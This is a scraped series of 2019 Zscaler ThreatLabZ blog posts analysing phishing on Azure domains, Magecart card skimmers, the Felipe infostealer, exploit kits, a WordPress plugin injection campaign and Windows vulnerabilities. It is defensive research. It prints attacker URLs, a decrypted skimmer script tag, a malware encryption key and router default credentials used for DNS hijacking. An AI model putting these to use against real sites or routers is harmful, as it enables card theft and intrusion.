Network URL: acpananma[.]com/love/server.php 3.121.182[.]157/smth/server.php f0278951.xsph[.]ru/server.php maprivate[.]date/server.php

Thu, 08/08/2019 - 13:58 Malware Blogs
Abusing Microsoft’s Azure domains to host phishing attacks

Recently, the Zscaler ThreatLabZ team came across various phishing attacks leveraging Microsoft Azure custom domains. These sites are signed with a Microsoft SSL certificate, so they are unlikely to raise suspicion about their authenticity. We notified Microsoft, who quickly engaged to shut these sites down, while we took action to detect and block 2,000 phishing attempts from these domains over a six-week period. 

In this blog, we will describe two of the prominent vectors used and we’ll show several examples of the phishing pages.

The following figure depicts the phishing hits that were hosted using the Azure domain ( and blocked by the Zscaler cloud.

Fig 1: Phishing hits using the Azure domain (green) and (orange)


The following is the Whois lookup information related to the domain.

Fig 2: Whois lookup info for domain domain  

For these phishing campaigns, the delivery vector was spam emails.


In this case, the attacker sends a spam email to a user, appearing to come from a particular organization and notifying the user that seven emails have been quarantined. It states that in order to review the emails, the user has to log in using the work or school account.

Fig 3: Spam email with direct phishing link


If the user clicks the view emails button, it will redirect to the Outlook login phishing page (hxxps://onemailofice365(.)z13(.)web(.)core(.)windows(.)net/index(.)html).

Fig 4: Outlook login phishing page


Some users may get confused because of the unknown URL hosting the Outlook login page. To trick those users, the attackers have used the SSL certificate issued by Microsoft as shown below.

Fig 5: SSL certificate page of the hosted phishing URL


The following figure depicts the source code of the phishing page, which is used by attackers to collect users’ data.

Fig 6: Source code of the phishing URL page


Once the login information has been entered by the user, the form will post the user’s credential details to the compromised domain that is operated by the cybercriminals.

Fig 7: Captured data traffic that has been sent to the attacker’s site



In this method, attackers send the spam email with an attached HTML file that looks like a voice message. Once the user clicks the HTML file, it will redirect to the phishing page hosted using the Azure domain.

Fig 8: Spam mail with double extension method


Fig 9: Outlook login phishing page redirected from voice message


In this phishing campaign, the attackers have injected obfuscated JavaScript to validate the user credentials that are present in their database to avoid duplication.

Fig 10: Obfuscated JavaScript to validate user credentials to avoid duplication


The following figure depicts the deobfuscated JavaScript. This code will validate the user’s credential details and sent it to the attacker’s server (hxxps://validr2vtap2l3eh544kb(.)azurewebsites(.)net/v20(.)php).

Fig 11: Deobfuscated JavaScript

Fig 12: User data will be sent to the attacker’s site using the function getValidatorURL().


In addition to the Outlook phishing campaigns, we have seen phishing campaigns associated with these Azure domains:

Microsoft Phishing, OneDrive Phishing, Adobe Document Phishing, Blockchain Phishing, and more. The following figure shows the different phishing campaigns that are hosted using the Azure domain (

Fig 13: Microsoft login phishing page


Fig 14: Adobe login phishing page


Fig 15: Blockchain login phishing page


Fig 16: OneDrive login phishing page



The Zscaler cloud blocked more than 2,000 phishing attacks over six weeks that were hosted using the Azure domain ( The following diagram represents the various kinds of phishing campaigns that were blocked by the Zscaler cloud.

Fig 17: Detected phishing hits 


Fig 18: The Zscaler Zulu URL Risk Analyzer score for one of the phishing URLs











appriver(.)z19(.)web(.)core(.)windows(.)net azaman(.)blob(.)core(.)windows(.)net







dlgeus(.)blob(.)core(.)windows(.)net dlgneu(.)blob(.)core(.)windows(.)net

dlgweu(.)blob(.)core(.)windows(.)net driveoffice-














































































dlgeus(.)blob(.)core(.)windows(.)net dlgneu(.)blob(.)core(.)windows(.)net







Tue, 07/16/2019 - 10:35 Phishing Blogs
Magecart activity and campaign enhancements

Magecart is a hacker group known for skimming credit or debit card details by injecting malicious JavaScript code into e-commerce sites. Back in September 2018, the Zscaler ThreatLabZ research team published a blog on Magecart activity that analyzed its attack methods and evasion tactics. We are now following up on that blog to report on recent activity we’ve seen and some enhancements in the campaign.  

Magecart attack chain

In the recent campaign, we noticed a change in the attack chain. One example is the use of heavily obfuscated JavaScript with encrypted data. Also, in some cases, the malicious JavaScript code is now being injected directly in the compromised e-commerce sites, whereas in earlier attacks, the malicious code was injected remotely.

Fig 1: Hits of compromised websites in the last three months


1. Injecting heavily obfuscated malicious JavaScript dynamically

The below credit card stealer JavaScript payload is dynamically loaded when the victim presses the checkout button after loading the cart.

Fig 2: Heavily obfuscated malicious JavaScript code injected on the checkout page  

The ThreatLabZ team’s smart crawler with heuristic detection shows that various JavaScript functions are obfuscated in the payload.

Fig 3: Crawler’s heuristic detection

Fig 4: Malicious script after three levels of deobfuscation by the crawler.


Analysis of the skimming toolkit

The above discussed malicious script looks for the keywords “onepage|checkout|onestep|firecheckout” in the URL and, if found, injects another script from hxxps://dnsden[.]biz/a.js.

Fig 5: Script injected from hxxps://dnsden[.]biz  

The above injected obfuscated script hxxps://dnsden[.]biz/a.js contains encrypted data which is decrypted by the RC4 algorithm in the runtime.


Fig 6: Use of RC4 algorithm in ‘a.js’  

The encrypted data in ‘a.js’ script after RC4 decryption ends up injecting the main skimming script, which is responsible for extracting and sending the victim's credit card details back to the attacker.

Encrypted data - w5rDvcOKwrnCnsKYcWHCgAcaUsOFVcOQXnZpw48KfjZ/CMObMMOiwq7Cm1XDvFDCl8KBEsKRE8Oyw6krWcK0wo1Xw7J+w6/DknoJasKVScKZOhzCoRI=

Decrypted data - <script src="hxxps://dnsden[.]biz/js/universal.js"></script>

The ‘universal.js’ is also obfuscated and has the same encryption algorithm as ‘a.js’. After decryption, it calls a function on the form change event and collects all the payment info entered by the victim.

Fig 7: Collecting payment card details

Fig 8: Sends victim’s credit card details to C&C  

Fig 9: POST request with the stolen credit card details  


Stolen data includes billing and payment details.

Fig 10: Decoded stolen data  

2. Injecting malicious JavaScript directly in the compromised site  

Fig 11: Malicious JavaScript code hosted on the compromised e-commerce site is injected  

Fig 12: Malicious JavaScript code hosted on a compromised site for skimming payment card details


Analysis of the skimming toolkit

The malicious JavaScript code first checks for the two cookie names “$s” and “$sent”; if these cookies are set, data is stored into variable after decoding. These cookie values are referred to each time any payment card details are being entered, and values are updated if the payment card details are new.

Fig 13: Getting values from the two cookie names “$s” and “$sent”  

To get payment card details, data from all the tags, such as input, select, and text area, are stored and the script undergoes a basic length check on the card details.

Fig 14: Validating length of payment card details  

After validating payment card details, a hash of the card details is calculated and checked to determine if the same hash value is available in the data retrieved from the cookie “$sent” earlier. Payment details are dropped if any hash match is found.

Fig 15: Checking the hash value of card details against data retrieved earlier from the cookie  

Each time any new payment card details are entered, the details are sent to the attacker and the hash value for these details is appended to the cookie value “$sent”;  this cookie value is used to check if the details being entered are new.

Fig 16: Value of the cookie “$sent” stored in the victim's browser  

On decoding the above Base64 encoded value of the cookie “$sent,” we get the MD5 array of the payment card details. By storing the encrypted payment card details as a cookie, the attacker has added the ability to drop duplicate details being sent to the attacker, as payment details are always checked against the cookie value and only unique card details are sent to the attacker.

After all the above checks are encoded, the payment card details are sent to the attacker-controlled site.

Fig 17: GET request with the stolen information  

In a similar skimming toolkit, along with the above-discussed cookie logic, attackers are injecting fake payment card fields into the compromised site and hiding legitimate fields once the victim selects credit card as the payment method.

Fig 18: Fake credit card details field and malicious JavaScript file  

Fig 19: HTML code for the fake credit card details fields in the malicious script  

Fig 20: Malicious script injecting the fake credit card details fields  

Fig 21: Above, injected credit card fields; below, legitimate credit card fields  

The injected and legitimate credit card fields look similar, but from the HTML input field attributes (ID and type), there are noticeable differences. In the injected fields, the card number ID is "_ccnumber" and the type is "text," while in a legitimate card number, the ID is "credit-card-number" and the type is "tel."



dnsden[.]biz jquery-bin[.]com/gate[.]php lumbertrans[.]com/errors/default/gate[.]php luxbagsgirl[.]com/errors/default/gate[.]php jsreload[.]pw/gate[.]php saterday-race[.]com/gate[.]php jqueryextd[.]at/gate[.]php routingzen[.]com/gate[.]php mz-at-shop[.]de/errors/default/gate[.]php 93[.]187[.]129[.]249/gate[.]php developer-js[.]info/gate[.]php google-anaiytic[.]com/fonts[.]googleapis/gate[.]php magento-analytics[.]com/gate[.]php gtows[.]com


Compromised sites

shop.triggerbrothers[.]com[.]au custommagnetsdirect[.]com lumbertrans[.]com sunbuggy[.]com saterday-race[.]com windblox[.]com cakedecoratingsolutions[.]com[.]au network-ed[.]com[.]au adooq[.]com mz-at-shop[.]des reddotarms[.]com sprucela[.]com/ t[.]cltradingfl[.]com worldcraftindustries[.]com reallifecatholic[.]com wbminternational[.]com whistlerrides[.]ca/ smartsilk[.]com/ classictruckglass[.]com oconnellsclothing[.]com/skin/ purefruittechnologies[.]com/ cornerstone-arch[.]com minitruckusa[.]com magformers[.]com ravishingcosmetics[.]com alamoshoes[.]com/ salonsavings[.]com/ bathroompanelsuperstore[.]com britishfitness[.]com bumperworksonline[.]com niftyconcept[.]com cornerstone-arch[.]com decorprice[.]com



These new developments in an ongoing campaign illustrate some of the ways that attackers are continuously enhancing their methods for stealing sensitive information like login credentials, bank or payment card details, personally identifiable information, and so on. The Magecart campaign has been active for a long time and continues to evolve and hone its techniques to get better at stealing payment card information and related data. 

Zscaler ThreatLabZ actively tracks such campaigns and protects customers from these types of attacks.


Tue, 07/09/2019 - 08:08 Compromise Blogs
Felipe, a new infostealer Trojan

The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user’s system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim's debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.

The files dropped by malware include:

Win XP:

%UserProfile%\Local Settings\Temp\vshost.exe %UserProfile%\Local Settings\Temp\explorer32.exe %UserProfile%\Local Settings\Temp\install2.bat %UserProfile%\Local Settings\Temp\infect.txt


%UserProfile%\AppData\Local\Temp\vshost.exe %UserProfile%\AppData\Local\Temp\explorer32.exe %UserProfile%\AppData\Local\Temp\install2.bat %UserProfile%\AppData\Local\Temp\infect.txt

The Felipe Trojan enumerates the system and tries to determine whether it has already been infected by checking the files vshost32.exe and vshost64.exe in the compromised system.

The parent file downloads its payloads to %UserProfile%\AppData\Local\Temp\update2804. If this folder already exists, the malware deletes the folder and files inside. Once the folder is deleted, the malware will create a new folder with the same name in hidden mode.


When the update2804 folder is created, the malware downloads its different payloads within a gap of just 50 milliseconds.

After downloading the payload, the malware copies it to a special directory temp folder in the system in hidden mode and executes it. First, it will execute the install2.bat file and then it will execute vshost.exe.

Below is the code of install2.bat:

The batch file will perform registry changes responsible for the following:

  • Run entries for vshost.exe, exolorer32.exe to ensure persistence
  • Disable Windows Defender
  • Bypass UAC control
  • Excluding path of temp folder in Windows Defender

Vshost.exe checks the victim's bank cards by checking a card's length or the starting numbers of cards, such as:

  • American Express card: number should begin from 34 or 37
  • Visa: card length between 13 or 16
  • Mastercard: card length to be 16
  • Discover: card length to be 16 and begin from 6011 or 65

Below is a snapshot of some of these instructions:

The following is the algorithm to check the card's validity:

  • Process digits from right to left. Double the alternate digit starting from first.
  • Break the alternative digits if addition is greater than 10 (e.g., 28 = 2 + 8 (10) or 19 = 1 + 9 (10)).
  • Return the 10's complement of the total.
  • Finally, it verifies the checksum digit. It will be invalid if the checksum is not modular 10.

Snapshot of the algorithm:


If the system is already infected, the malware looks for the filename infect.txt in the temp folder. If it is already there, it sends the below data; otherwise, it sends a request to the C&C to further download the file infect.text. It also sends the victim's system information and writes “infect” in the infect.txt file.

The Felipe Trojan gets a memory dump of processes by checking the memory addresses that can store data. Basically, it scans the process memory and, whenever a process starts, the system allocates enough memory for its heap, stack, and regions. However, Windows won't allocate an "entire block" of memory; it tries to allocate any free memory available for the User-Mode. The following are the methods used for the memory dump:

GetSystemInfo() Retrieves random information about the system in a structure called SYSTEM_INFO. This structure also contains two variables: minimumApplicationAddress & maximumApplicationAddress, which store the minimum and the maximum address where the system can allocate memory for User-Mode applications.

VirtualQueryEx() This method gets information about a range of memory addresses and returns it into a structure named MEMORY_BASIC_INFORMATION. It tells us the range of a memory chunk that starts from the specified address.

ReadProcessMemory() Used to read a number of bytes starting from a specific memory address.

OpenProcess() Returns a handle to a specific process; the process must be opened.

WriteProcessMemory() Writes data to an area of memory in a specified process.

After the memory dump, the malware tries to find the victim's used bank card from memory, and fetches this information to send to the C&C. Below is a snapshot of it:

Encryption method for sending data to C&C:

The malware uses Triple Data Encryption Standard (3DES) algorithm. The first step is to create a simple wrapper class that encapsulates the 3DES algorithm and stores the encrypted data as a base-64 encoded string. Then, that wrapper is used to securely store private user data in a publicly accessible text file. 

The 3DES algorithm provides two-way encryption. It needs the private key string as the wrapper to generate a unique decrypted string. Here, the malware uses "L%f@Y7Boolean4%()F$y" as a private key.

For more info:…  

Sending data to the C&C:


The malware uses the free “geoPlugin” web service to determine the victim's system and location information. The following are the services used by the malware from the geoPlugin web service:

  • System IP
  • City
  • Region code
  • Country name

Timer Set:

The malware sets the time in the program to shut down the system and restart on a specific day. In this example, the time should be between 5:06 a.m. and 6:09 a.m. on Friday, then the system gets shut down.

The command to shutdown is:

Interaction.Shell("shutdown /r /t 0", AppWinStyle.MinimizedFocus, false, -1); Switches:

/r: shut down and then restart the local computer /t: time, in seconds, between the execution of the shutdown command and the actual shutdown or restart AppWinStyle.MinimizedFocus: starts the program minimized and with focus


After the restart, the malware fetches hardware information from the victim's system, including the serial number and running processes. If the “explorer32.exe” process is not found in the running processes, the malware downloads from the C&C and executes it from the temp folder for performing further malicious activities.

It uses the GetAsyncKeyState() Win API to query the state of each key on the keyboard. From the return value of GetAsyncKeyState(), it can be determined whether the key is up or down at the time the function is called.


Network communication:


Indicators of Compromise:

Filename Md5
vshost.exe 15CE8F849FFF4CC8675900EC838A93F9
down.exe 61B06E49D514F3DC5BE4F4EF08F6B43C
explorer32.exe D912771C8CD5720AD835E08EB80A77B6
install2.bat 7D016A3BB29904A6E00161694FC6AB4E

Download URLs:

192.99.215[.]95/uploads Inmemory[.]tech

Thu, 06/20/2019 - 10:13 Malware Blogs
Top exploit kit activity roundup – Spring 2019

This is the tenth in a series of quarterly roundups by the Zscaler ThreatLabZ research team in which we collect and analyze the activity of the top exploit kits over the last three months. Exploit kits (EKs) are rapidly deployable software packages designed to leverage vulnerabilities in web browsers and deliver a malicious payload to a victim’s computer. Authors of EKs offer their services for a fee, distributing malware for other malicious actors. What follows are highlights from the EK activity we observed during the last quarter.



Rig EK has continued to be active through the quarter. Though EK activity has declined overall, RIG EK activity has been persistent. We saw no changes in the kit behavior as compared to the previous quarter. Below we can see the hits for RIG EK activity.

Figure 1: RIG EK hits from 1 March 2019 to 20 May 2019.

The geographical distribution of RIG EK hits is shown below.

Figure 2: RIG EK heat map showing infection regions

One instance of RIG EK activity can be seen below.

Figure 3: RIG EK infection cycle

The obfuscated JavaScript on the landing page is shown below.

Figure 4: RIG EK Landing page Obfuscated JavaScript.

We observed the use of two malicious scripts on the landing page, the first one being CVE-2016-0189, which is a Scripting Engine Memory Corruption Vulnerability targeting IE 11 and below. The second script was CVE-2018-8174, which is a Windows VBScript Engine Remote Code Execution vulnerability targeting Windows 10, 7, and 8.1, and Windows Server 2008, 2012, and 2016. We also saw the use of Adobe Flash exploit CVE-2018-4878, which is a use-after-free vulnerability in Adobe Flash Player version and earlier. The snippet of code targeting the CVE-2018-4878 vulnerability can be seen in the decompiled flash file below.

Figure 5: Decompiled Flash exploit in RIG EK cycle; CVE-2018-4878

The malware payloads seen with RIG EK this quarter belonged to the SmokeLoader and AZORult families.


Underminer EK

Underminer EK is relatively new and we started seeing activity for this EK over the past six months. We see this exploit kit serving its payloads over custom HTTP ports. The recent hits for Underminer EK are shown below.

Figure 6: Underminer EK Hits from 1 March 2019 to 20 May 2019.  

The geographical distribution of Underminer EK hits is shown below.

Figure 7: Underminer EK heat map showing infection regions.  

An infection cycle for Underminer EK is shown below.

Figure 8: Underminer EK infection cycle  

The majority of the activity that we have seen for Underminer EK starts with a malvertising campaign involving a popcash[.]net URL that redirects users to a malicious domain, adpop[.]live. The malicious domain serves content over HTTPS which further redirects the user to the Underminer EK landing page. The call for the Underminer EK on the malicious domain adpop[.]live is shown below.

Figure 9: Underminer EK landing page call on malvertisement page  

This landing page contains a call to the malicious SWF payload. This call can be seen in the screenshot below.

Figure 10: Underminer EK call for Flash exploit  

The malware payload seen in this cycle was a bootkit Trojan.  

Spelevo EK

We started seeing activity for a new exploit lit called Spelevo in March 2019. Spelevo EK authors integrated the relatively new Flash Exploit CVE-2018-15982. The hits for Spelevo EK activity are shown below.

Figure 11: Spelevo EK Hits from 1 March 2019 to 20 May 2019  

The geographical distribution of Spelevo EK hits is shown below.

Figure 12: Spelevo EK heat map showing infection regions  

An infection cycle for Spelevo EK is shown below.

Figure 13: Spelevo EK infection cycle  

The image below shows the Spelevo EK malvertisement redirect to the EK landing page.

Figure 14: Spelevo EK malvertisement redirect  

Spelevo EK landing page contains an obfuscated JavaScript Browser Plugin Detect script to determine the Adobe Flash player version that the user's system is running. The obfuscated JavaScript along with the decoded script is shown in the image below.

Figure 15:  Spelevo EK landing page and deobfuscated browser plugin detect JavaScript  

The same page serves a redirect URL based on the conditions met.

Figure 16: Spelevo EK Flash Player plugin detect  

Once the Adobe Flash version is found to be vulnerable, the user is served a malicious SWF file which is a use-after-free vulnerability (CVE-2018-15982) in Adobe Flash Player versions and earlier.

The cycle did not serve any malware payload on our test machine but malware activity have been reported on successful exploitation in the wild.  

Other exploit kits

We also observed some exploit kit activities directed towards routers and focused on hijacking DNS queries. A snippet of scan code served by a router exploit kit is shown below.

Figure 17: Scan script served by a router exploit kit  

Based on the target IP addresses seen online, the script then calls another obfuscated malicious JavaScript; a sample script served by such an exploit kit can be seen below.

Figure 18: Obfuscated JavaScript on a router exploit kit landing page  

A Base64 decoded version of the landing page shows the DNS hijacking script below. In this screenshot we see the script trying to target the gateway IP with default credentials. In this case, the script is attempting to log in with user name "admin" and an empty password. If the attempt is successful, the DNS address is modified to the attacker's DNS address (158.255.7[.]150) along with a backup legitimate public DNS address (8.8.4[.]4).

Figure 19: Base64 decoded JavaScript showing the DNS hijacking configuration  

Another instance of a default credential being used to target routers is shown below.

Figure 20: Default credentials being targeted by router exploit kits  

Here we see password "gvt12345" being used along with the username "admin." A quick Google search for this password pattern reveals that this might have been used as default password by a few Brazilian ISPs and has been used before in similar attacks.

Checking the name resolution using the attacker's DNS server shows the DNS redirect behavior in action, as shown below.

Figure 21:  DNS resolution using the attacker’s DNS server shows name resolution to a phishing IP  

In this case, the server IP resolved by the DNS server for[.]com is a malicious server that is controlled by the attacker and used to serve phishing content to victims.

GrandSoft EK, Magnitude EK, and Fallout EK did not show changes during the quarter. We did not see activity this quarter for other recent exploit kits such as Terror EK, KaiXin EK, and Disdain EK.  


This quarter we saw the addition of Spelevo and Underminer to the exploit kit threat landscape, and we saw some EK activity targeting routers. Exploit kits are effective, as they can infect a victim's machine during web browsing without the user's knowledge. The attackers monetize the successful infections in a variety of ways, such as by collecting a ransom for retrieving data encrypted by ransomware, mining cryptocurrencies using the victim's system resources, or installing banking Trojans to steal a victim's identity. Attackers frequently change their techniques by obfuscating the source code or integrating new exploit codes into their EKs, and security researchers analyze and block the new threats by tracking changes in the EK behavior.  

To help avoid infections from exploit kits, users should always block untrusted third-party scripts and resources, and avoid clicking on suspicious advertisements. Keeping browser plugins and web browsers up to date with the latest patches helps to protect against common vulnerabilities targeted by exploit kits. The Zscaler ThreatLabZ research team has confirmed coverage for these top exploit kits and subsequent payloads, ensuring protection for organizations using the Zscaler cloud security platform.


Fri, 05/31/2019 - 10:50 Exploit Kit Blogs
Malicious JavaScript injected into WordPress sites using the latest plugin vulnerability

WordPress is by far the most popular content management system (CMS) and, because of its wide usage, it is also popular among cybercriminals. Most of the WordPress sites that have been compromised are the result of attackers exploiting vulnerable versions of the plugins used.

A stored cross-site script vulnerability was discovered last week in the popular WordPress Live Chat Support plugin. The vulnerability allows an unauthenticated attacker to update the plugin settings by calling an unprotected "admin_init hook" and injecting malicious JavaScript code everywhere on the site where Live Chat Support appears. All versions of this plugin prior to version 8.0.27 are vulnerable. The patched version for this vulnerability was released on May 16, 2019,  and has been fixed for version 8.0.27 and higher.

ThreatLabZ researchers recently discovered what may be the first campaign in which attackers are exploiting the Live Chat Support plugin vulnerability and injecting a malicious script that is responsible for malicious redirection, pushing unwanted pop-ups and fake subscriptions. While it is not yet seen as a widespread attack, the number of compromised websites is growing (at the end of this blog there is a link to the names of the compromised sites).

Fig 1: Hits of the compromised WordPress sites

Fig 2: WordPress site using a vulnerable version of the Live Chat Support plugin


Fig 3: Obfuscated script injected in the compromised WordPress site  

Fig 4: Deobfuscated version of the injected script  

The injected script sends a request to the URL hxxps://blackawardago[.]com to execute the main script.

Fig 5: Request and response to the hxxps://blackawardago[.]com  

After the execution of the above script, the victim is redirected to multiple URLs, mainly related to pushing unwanted popup ads and fake error messages.

Fig 6: Highlighted (red) multiple redirected URLs after the execution of the malicious script.  

Fig 7: Popups after execution of the malicious script  

The domain that hosts the malicious script is a newly created domain hosted on a dedicated IP address.

Fig 8: Whois information of the domain  


Cybercriminals actively look for new vulnerabilities in popular content management systems such as WordPress and Drupal, as well as popular the plugins that are found in many websites. An unpatched vulnerability in either the CMS or associated plugins provides an entry point for attackers to compromise the website by injecting malicious code and impacting the unsuspecting users visiting these sites.

It is critical for website owners to apply the security update if they are using the vulnerable plugin, particularly because it is a pre-auth vulnerability and can lead to widespread compromise.

The Zscaler ThreatLabZ team is actively tracking and reviewing all such malicious campaigns to ensure that our customers are protected.  


blackawardago[.]com 216[.]10[.]243[.]93

List of compromised sites is available here.

Wed, 05/29/2019 - 08:34 Compromise Blogs
Microsoft vulnerability: Source code published for three zero-day vulnerabilities in Windows


A security researcher (with the pseudonym SandboxEscaper) has discovered three zero-day vulnerabilities in Microsoft Windows. Their POC and source code have been released on GitHub. Two of these are local privilege escalation (LPE) vulnerabilities. They have been tested to work on Windows 10 only. The third vulnerability is a sandbox bypass vulnerability in Internet Explorer 11 (IE11). As of this writing, no patch has been released by Microsoft for these vulnerabilities.  

What is the issue?

The security researcher has published three POCs: angrypolarbearbug2, bearlpe, and sandboxescape. 

The first vulnerability – angrypolarbearbug2 – can be exploited by performing specially crafted DACL (discretionary access control list) operations when the Windows Error Reporting service tries to write a DACL for the given Windows Error Reporting (.wer) file. Once successfully exploited, the vulnerability gives SYSTEM privileges to the attacker.

The second vulnerability – bearlpe – targets the way the Windows task scheduler service uses the SetJobFileSecurityByName() function to write DACL for the job file. For this exploit to work, one needs to have "schtasks.exe" and "schedsvc.dll" files from Windows XP. Once successfully exploited, the vulnerability gives SYSTEM privileges to the attacker.

The third vulnerability – sandboxescape – bypasses the IE11 sandbox and allows an attacker to execute code in IE low protection mode. To exploit this vulnerability, an attacker needs to inject a special DLL in the IE process. According to reports, this exploit cannot be triggered remotely.  

What systems are impacted?

The POC has been tested on Windows 10 32-bit and 64-bit and IE11.  

Zscaler coverage

Advanced Threat Signatures: Win32.Exploit.Bearlpe  Win32. Exploit.CVE.2019.0863 Win32.Exploit.Polarbearescape W32/Agent.NBHI

Zscaler Cloud Sandbox provides proactive coverage against exploit payloads and advanced threats like ransomware, and the Zscaler ThreatLabZ team is actively monitoring for in-the-wild exploit attempts to ensure coverage.

Fri, 05/24/2019 - 10:35 Vulnerability,Zero Day Blogs
IoT traffic in the enterprise is rising. So are the threats.

Do you know exactly what IoT devices are on your network and how active they are? You’d better, because they might be opening the door to cybercrime.

IoT devices are, of course, nonstandard computing devices that connect wirelessly to a network and have the ability to transmit data. These devices can communicate and interact over the internet, and they can be remotely monitored and controlled.

Connected devices are part of a scenario in which every device talks to other related devices in an environment to automate home and industrial tasks, and to communicate usable sensor data to users, businesses and other interested parties. IoT devices are meant to work in concert for people at home, in industry, or in the enterprise.

Enterprises around the globe have been adopting the use of IoT products to improve organizational efficiency, enhance communications, and to gain insight into system performance.

According to Gartner, 20.4 billion IoT devices will be in use worldwide by 2020, and more than 65 percent of enterprises will adopt IoT products.

That translates to quite a bit of budget being dedicated to these devices.

IDC has predicted that IoT spending will reach $745 billion in 2019 and surpass the $1 trillion mark in 2022. That’s a 15 percent increase over 2018’s $646 billion. According to the same report, the U.S. and China will be spending the most at $194 billion and $182 billion, respectively. They are followed by Japan, Germany, Korea, France, and the UK.  

Analyzing IoT transactions

To help organizations get a better understanding of IoT activity in the enterprise, the ThreatLabZ research team analyzed IoT traffic across the Zscaler cloud during a one-month period between March and April 2019.

The analysis looked at the types of devices in use, the protocols they used, the locations of the servers with which they communicated, and the frequency of their inbound and outbound communications, as well as IoT traffic patterns.

The report, titled IoT in the Enterprise: an analysis of traffic and threats, provides a general overview of the most frequently seen device categories, then takes a deep dive into the transaction data for specific types of IoT devices.

It also explores some of the security concerns around IoT devices, including the use of plain-text channels and the threat of malware.  

Emerging threats

The rapid adoption of these IoT devices has opened up new attack vectors for cybercriminals. And, as is often the case, IoT technology has moved more quickly than the mechanisms available to safeguard these devices and their users.

Researchers have already demonstrated remote hacks on pacemakers and cars. And, in October 2016, a large distributed denial-of-service (DDoS) attack, dubbed Mirai, affected DNS servers on the east coast of the United States, disrupting services worldwide. This attack was traced back to hackers infiltrating networks through IoT devices, including wireless routers and connected cameras.

In August 2017, the U.S. Senate introduced the IoT Cybersecurity Improvement Act, a bill addressing security issues associated with IoT devices. While it is a start, the bill only requires internet-enabled devices purchased by the federal government to meet minimum requirements, not the industry as a whole. However, it is being viewed as a starting point that, if adopted across the board, could pave the way to better IoT security industry-wide.

One of the ThreatLabZ team’s discoveries was that the vast majority of IoT transactions were occurring over plain text channels, instead of the more secure SSL-encrypted channels. While a major security vulnerability, the use of unsecured channels is just one vulnerability with IoT devices. They are notorious for weak, preset passwords that often go unchanged.  

Malware in IoT traffic

As with just about every device connected to the internet, malware is also a threat to IoT devices. Each quarter, the Zscaler cloud blocks approximately 6,000 transactions from IoT-based malware and exploits. And, earlier this year, the Zscaler ThreatLabZ team analyzed certain threats that were targeting IoT devices.

The fact is that there has been almost no security built into the IoT hardware devices that have flooded the market in recent years, and there’s typically no way to easily patch these devices. While many businesses have thought security for IoT devices unnecessary because nothing is stored on the devices, this isn’t the case. The Mirai botnet attack illustrated how exposed companies can be as a result of their IoT devices.

Even though these devices continue to be an easy target for cyberattacks, enterprises can take steps to reduce the risk:

  • Change default credentials to something more secure. As employees bring in devices, encourage them to be sure their passwords are strong and their firmware is always up to date.
  • Install IoT devices on isolated networks (to prevent lateral movement), with restrictions on inbound and outbound network traffic.
  • Restrict access to the IoT device as much as possible from external networks. Block unnecessary ports from external access.
  • Apply regular security and firmware updates to IoT devices, in addition to securing the network traffic.
  • Finally, deploy a solution to gain visibility of the shadow IoT devices that are already sitting inside the network and ensure above safeguards.  

Advanced security for IoT devices

IoT devices have become commonplace in enterprises from all industries and in nearly every corner of the globe. These devices were designed to help improve efficiency and expand communications, and organizations continue to explore new ways to incorporate these devices into everyday operations. Of course, many of the devices are employee-owned, and this is just one of the reasons they are a security concern.

With all of these new connected devices, and the enormous amounts of associated data traversing your network and opening up new attack vectors for cybercriminals, can you trust your legacy network to provide adequate security?

The security of your enterprise hinges on your answer.

Read the entire report, IoT in the Enterprise: an analysis of traffic and threats. I’d like to thank our Sr. Security Researcher Viral Gandhi for his help in compiling the report.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Deepen Desai is VP of Security Research at Zscaler

Wed, 05/22/2019 - 08:24 Blogs
Critical Update: Windows Remote Desktop Services Vulnerability


Earlier today Microsoft released several security updates as part of its regular monthly updates known as Patch Tuesday. One of the issues that was patched in today's update, CVE-2019-0708, is critical, and all Windows users should apply the patches immediately, regardless of whether or not they are running the vulnerable operating system. Large organizations following 15/30/60-day patch cycles should consider making an exception and applying the patches as soon as possible, especially if running one of the vulnerable operating systems.  

What is the issue? 

CVE-2019-0708 is a remote code execution vulnerability in Microsoft Windows Remote Desktop Services that affects several older versions of the Windows operating system.

What makes this vulnerability unique, and alarming, is that an attacker attempting to exploit the vulnerability does not have to be authenticated to the target machine and needs no interaction from the target user for the machine to be compromised. In other words, this can and most likely will be exploited by malware authors to spread payloads rapidly, from unpatched system to unpatched system. There have been no exploitations detected yet, but this is the type of vulnerability that could lead to another attack like WannaCry, which caused massive disruptions in organizations around the world in May 2017.  

What systems are impacted?

Windows XP, Windows 2003, Windows 7, Windows Server 2008 R2, and Windows Server 2008 operating systems are vulnerable.

Windows 8 and Windows 10 operating systems are NOT vulnerable.  

What can you do to protect yourself?

Microsoft has been proactive in releasing security updates for the unsupported operating systems, given the critical nature of this vulnerability. Apply the security updates released by Microsoft immediately from the following locations:

For supported operating systems:  

For unsupported end-of-life operating systems [Windows XP and 2003]:  


Zscaler coverage

Zscaler Cloud Sandbox provides proactive coverage against worm payloads and advanced threats like ransomware, and the Zscaler ThreatLabZ team is actively monitoring for in-the-wild exploit attempts to ensure coverage.


Tue, 05/14/2019 - 17:32 Blogs
Working together to understand the threat landscape

As a society, we are more connected than ever before. Our community is no longer just the people living nearby. It is now a global community, made up of disparate individuals connected not by proximity but by the internet.

As in almost any community, crime is a factor. In today’s digital society, that means cybercriminals, and they seem to be launching new attacks every day.

These cybercriminals have gone from lone hackers to sophisticated criminal organizations, launching attacks on individuals, corporations, and governments. As these criminals have become more organized, the challenge in fighting them has become more difficult. If the cybercriminals are working together to increase their chances of success, it makes sense that those who fight these bad actors should also work together.

Today, Verizon released its 2019 Data Breach Investigations Report, and I am proud that the Zscaler ThreatLabZ team once again actively contributed to the findings in this report.

The Verizon 2019 Data Breach Investigations Report takes an in-depth look at security incidents and data breaches that occurred in 2018. The report analyzes 41,686 security incidents, of which 2,013 were confirmed data breaches. It looks at how the results have or have not changed over the years and digs into the overall threat landscape and the actors, actions, and assets that are present in breaches.

The report delves into security incident patterns and describes how they correlate to the various industry verticals. In addition to these primary patterns, the report includes a subset of data to pull out financially motivated social engineering (FMSE) attacks, which are more focused on credential theft and duping people into transferring money into adversary-controlled accounts.

